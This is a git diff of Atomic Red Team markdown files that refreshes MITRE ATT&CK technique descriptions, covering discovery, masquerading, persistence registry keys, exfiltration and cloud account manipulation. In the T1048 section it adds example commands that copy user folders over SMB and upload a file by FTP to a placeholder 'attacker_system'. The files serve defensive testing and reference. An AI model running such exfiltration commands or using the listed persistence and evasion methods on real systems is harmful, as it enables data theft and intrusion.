diff --git a/atomics/T1005/T1005.md b/atomics/T1005/T1005.md index 050cdf2919..69942cd810 100644 --- a/atomics/T1005/T1005.md +++ b/atomics/T1005/T1005.md @@ -2,7 +2,8 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1005)
Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration. -Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.
+Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system. + ## Atomic Tests diff --git a/atomics/T1007/T1007.md b/atomics/T1007/T1007.md index 91373427dc..a5758c5298 100644 --- a/atomics/T1007/T1007.md +++ b/atomics/T1007/T1007.md @@ -1,6 +1,6 @@ # T1007 - System Service Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1007) -
Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well.
+
Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057), and "net start" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
## Atomic Tests diff --git a/atomics/T1009/T1009.md b/atomics/T1009/T1009.md index 4a040ea681..ee8903cbf5 100644 --- a/atomics/T1009/T1009.md +++ b/atomics/T1009/T1009.md @@ -1,6 +1,9 @@ # T1009 - Binary Padding ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1009) -
Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.
+
Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. + +Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) +
## Atomic Tests diff --git a/atomics/T1012/T1012.md b/atomics/T1012/T1012.md index 8e14eb021e..df2a776b29 100644 --- a/atomics/T1012/T1012.md +++ b/atomics/T1012/T1012.md @@ -2,7 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1012)
Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. -The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.
+The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ## Atomic Tests diff --git a/atomics/T1016/T1016.md b/atomics/T1016/T1016.md index 32b714ac25..d2536d2ede 100644 --- a/atomics/T1016/T1016.md +++ b/atomics/T1016/T1016.md @@ -1,6 +1,8 @@ # T1016 - System Network Configuration Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1016) -
Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).
+
Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103). + +Adversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
## Atomic Tests diff --git a/atomics/T1018/T1018.md b/atomics/T1018/T1018.md index 3485c1814f..1d7ece1d0d 100644 --- a/atomics/T1018/T1018.md +++ b/atomics/T1018/T1018.md @@ -12,7 +12,12 @@ Specific to Mac, the bonjour protocol to discover additional Mac-ba ### Linux -Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the /etc/hosts file can be viewed to gain insight into existing hostname to IP mappings on the system. +Utilities such as "ping" and others can be used to gather information about remote systems. The contents of the /etc/hosts file can be viewed to gain insight into existing hostname to IP mappings on the system. + +### Cloud + +In cloud environments, the above techniques may be used to discover remote systems depending upon the host operating system. In addition, cloud environments often provide APIs with information about remote systems and services. + ## Atomic Tests diff --git a/atomics/T1033/T1033.md b/atomics/T1033/T1033.md index d4a2878104..1c1ff3a065 100644 --- a/atomics/T1033/T1033.md +++ b/atomics/T1033/T1033.md @@ -2,7 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1033)
### Windows -Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. +Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Mac diff --git a/atomics/T1036/T1036.md b/atomics/T1036/T1036.md index 9722b7f407..40d30a5bab 100644 --- a/atomics/T1036/T1036.md +++ b/atomics/T1036/T1036.md @@ -6,6 +6,8 @@ One variant is for an executable to be placed in a commonly trusted directory or A third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.  +Adversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017) + ### Windows In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) @@ -14,7 +16,7 @@ An example of abuse of trusted locations in Windows would be the C:\Window ### Linux Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten) -An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)
+An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binaries include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis) ## Atomic Tests diff --git a/atomics/T1046/T1046.md b/atomics/T1046/T1046.md index 7dd7590ccd..0dce77ad77 100644 --- a/atomics/T1046/T1046.md +++ b/atomics/T1046/T1046.md @@ -1,6 +1,8 @@ # T1046 - Network Service Scanning ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1046) -
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
+
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. + +Within cloud environments, adversaries may attempt to discover services running on other cloud hosts or cloud services enabled within the environment. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems.
## Atomic Tests diff --git a/atomics/T1048/T1048.md b/atomics/T1048/T1048.md index d58c5220ed..964b6863ab 100644 --- a/atomics/T1048/T1048.md +++ b/atomics/T1048/T1048.md @@ -1,6 +1,17 @@ # T1048 - Exfiltration Over Alternative Protocol ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1048) -
Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.
+
Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different channels could include Internet Web services such as cloud storage. + +Adversaries may leverage various operating system utilities to exfiltrate data over an alternative protocol. + +SMB command-line example: + +* net use \\\attacker_system\IPC$ /user:username password && xcopy /S /H /C /Y C:\Users\\* \\\attacker_system\share_folder\ + +Anonymous FTP command-line example:(Citation: Palo Alto OilRig Oct 2016) + +* echo PUT C:\Path\to\file.txt | ftp -A attacker_system +
## Atomic Tests diff --git a/atomics/T1049/T1049.md b/atomics/T1049/T1049.md index a0f57102b3..12b4d56f27 100644 --- a/atomics/T1049/T1049.md +++ b/atomics/T1049/T1049.md @@ -2,6 +2,8 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1049)
Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. +An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) + ### Windows Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). diff --git a/atomics/T1053/T1053.md b/atomics/T1053/T1053.md index 5b907980ec..2f3edb3869 100644 --- a/atomics/T1053/T1053.md +++ b/atomics/T1053/T1053.md @@ -1,6 +1,6 @@ # T1053 - Scheduled Task ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1053) -
Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) +
Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security) An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
diff --git a/atomics/T1057/T1057.md b/atomics/T1057/T1057.md index 97fb6ce31b..c8503a93ed 100644 --- a/atomics/T1057/T1057.md +++ b/atomics/T1057/T1057.md @@ -1,6 +1,6 @@ # T1057 - Process Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1057) -
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. +
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Windows diff --git a/atomics/T1060/T1060.md b/atomics/T1060/T1060.md index 9357d79739..0d628d4fb3 100644 --- a/atomics/T1060/T1060.md +++ b/atomics/T1060/T1060.md @@ -16,6 +16,23 @@ The following Registry keys can be used to set startup folder items for persiste * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders +The following Registry keys can control automatic startup of services during boot: +* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce +* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce +* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices +* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices + +Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: +* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run +* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run + +The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs. + +Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on. + +By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot. + + Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
## Atomic Tests diff --git a/atomics/T1063/T1063.md b/atomics/T1063/T1063.md index b5849cedd8..70853f7bc5 100644 --- a/atomics/T1063/T1063.md +++ b/atomics/T1063/T1063.md @@ -1,6 +1,7 @@ # T1063 - Security Software Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1063) -
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. These checks may be built into early-stage remote access tools. +
Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. + ### Windows diff --git a/atomics/T1064/T1064.md b/atomics/T1064/T1064.md index 05dcd8b62d..29e5fbba0c 100644 --- a/atomics/T1064/T1064.md +++ b/atomics/T1064/T1064.md @@ -1,10 +1,10 @@ # T1064 - Scripting ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1064) -
Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts. +
Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts. Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them. -Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
+Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
## Atomic Tests diff --git a/atomics/T1069/T1069.md b/atomics/T1069/T1069.md index 64ca5bf608..eab34894fd 100644 --- a/atomics/T1069/T1069.md +++ b/atomics/T1069/T1069.md @@ -12,7 +12,13 @@ On Mac, this same thing can be accomplished with the dscacheutil -q group< ### Linux -On Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command.
+On Linux, local groups can be enumerated with the groups command and domain groups via the ldapsearch command. + +### Office 365 and Azure AD + +With authenticated access there are several tools that can be used to find permissions groups. The Get-MsolRole PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance) + +Azure CLI (AZ CLI) also provides an interface to obtain permissions groups with authenticated access to a domain. The command az ad user get-member-groups will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)
## Atomic Tests diff --git a/atomics/T1081/T1081.md b/atomics/T1081/T1081.md index 26f5bc324f..899d16be2a 100644 --- a/atomics/T1081/T1081.md +++ b/atomics/T1081/T1081.md @@ -2,7 +2,11 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1081)
Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. -It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)
+It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) + +In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage) + +
## Atomic Tests diff --git a/atomics/T1082/T1082.md b/atomics/T1082/T1082.md index 866aae018e..c5f01fc527 100644 --- a/atomics/T1082/T1082.md +++ b/atomics/T1082/T1082.md @@ -1,6 +1,6 @@ # T1082 - System Information Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1082) -
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. +
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Windows @@ -8,7 +8,19 @@ Example commands and utilities that obtain this information include versystemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.
+On Mac, the systemsetup command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the system_profiler gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions. + +### AWS + +In Amazon Web Services (AWS), the Application Discovery Service may be used by an adversary to identify servers, virtual machines, software, and software dependencies running.(Citation: Amazon System Discovery) + +### GCP + +On Google Cloud Platform (GCP) GET /v1beta1/{parent=organizations/*}/assets or POST /v1beta1/{parent=organizations/*}/assets:runDiscovery may be used to list an organizations cloud assets, or perform asset discovery on a cloud environment.(Citation: Google Command Center Dashboard) + +### Azure + +In Azure, the API request GET https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachines/{vmName}?api-version=2019-03-01 may be used to retrieve information about the model or instance view of a virtual machine.(Citation: Microsoft Virutal Machine API)
## Atomic Tests diff --git a/atomics/T1083/T1083.md b/atomics/T1083/T1083.md index 3b7af35809..305dd6cf0f 100644 --- a/atomics/T1083/T1083.md +++ b/atomics/T1083/T1083.md @@ -1,6 +1,6 @@ # T1083 - File and Directory Discovery ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1083) -
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. +
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Windows diff --git a/atomics/T1084/T1084.md b/atomics/T1084/T1084.md index e6cbb3df55..e8243dc713 100644 --- a/atomics/T1084/T1084.md +++ b/atomics/T1084/T1084.md @@ -1,6 +1,6 @@ # T1084 - Windows Management Instrumentation Event Subscription ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1084) -
Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)
+
Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)
## Atomic Tests diff --git a/atomics/T1087/T1087.md b/atomics/T1087/T1087.md index 6c357fa32d..c0a04f41a0 100644 --- a/atomics/T1087/T1087.md +++ b/atomics/T1087/T1087.md @@ -14,7 +14,15 @@ On Mac, groups can be enumerated through the groups and id/etc/passwd file which is world readable. In mac, this same file is only used in single-user mode in addition to the /etc/master.passwd file. -Also, groups can be enumerated through the groups and id commands.
+Also, groups can be enumerated through the groups and id commands. + +### Office 365 and Azure AD + +With authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) + +Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) + +The Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)
## Atomic Tests diff --git a/atomics/T1090/T1090.md b/atomics/T1090/T1090.md index 9112502187..b4b4082310 100644 --- a/atomics/T1090/T1090.md +++ b/atomics/T1090/T1090.md @@ -1,10 +1,10 @@ # T1090 - Connection Proxy ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1090) -
A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) +
Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. -The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. +External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the internet and then the proxy would forward communications to the C2 server. -The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.
+Internal connection proxies can be used to consolidate internal connections from compromised systems. Adversaries may use a compromised internal system as a proxy in order to conceal the true destination of C2 traffic. The proxy can redirect traffic from compromised systems inside the network to an external C2 server making discovery of malicious traffic difficult. Additionally, the network can be used to relay information from one system to another in order to avoid broadcasting traffic to all systems.
## Atomic Tests diff --git a/atomics/T1098/T1098.md b/atomics/T1098/T1098.md index 095360d8ae..211e3528ff 100644 --- a/atomics/T1098/T1098.md +++ b/atomics/T1098/T1098.md @@ -1,6 +1,18 @@ # T1098 - Account Manipulation ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1098) -
Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain.
+
Account manipulation may aid adversaries in maintaining access to credentials and certain permission levels within an environment. Manipulation could consist of modifying permissions, modifying credentials, adding or changing permission groups, modifying account settings, or modifying how authentication is performed. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to subvert password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. + +### Exchange Email Account Takeover + +The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission) This command can be run, given adequate permissions, to further access granted to certain user accounts. This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019) + +### Azure AD + +In Azure, an adversary can set a second password for Service Principals, facilitating persistence.(Citation: Blue Cloud of Death) + +### AWS + +AWS policies allow trust between accounts by simply identifying the account name. It is then up to the trusted account to only allow the correct roles to have access.(Citation: Summit Route Advanced AWS policy auditing)
## Atomic Tests diff --git a/atomics/T1110/T1110.md b/atomics/T1110/T1110.md index 034bbc1139..36d9acef90 100644 --- a/atomics/T1110/T1110.md +++ b/atomics/T1110/T1110.md @@ -23,6 +23,8 @@ Typically, management services over commonly used ports are used when password s * MySQL (3306/TCP) * VNC (5900/TCP) +In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) + In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
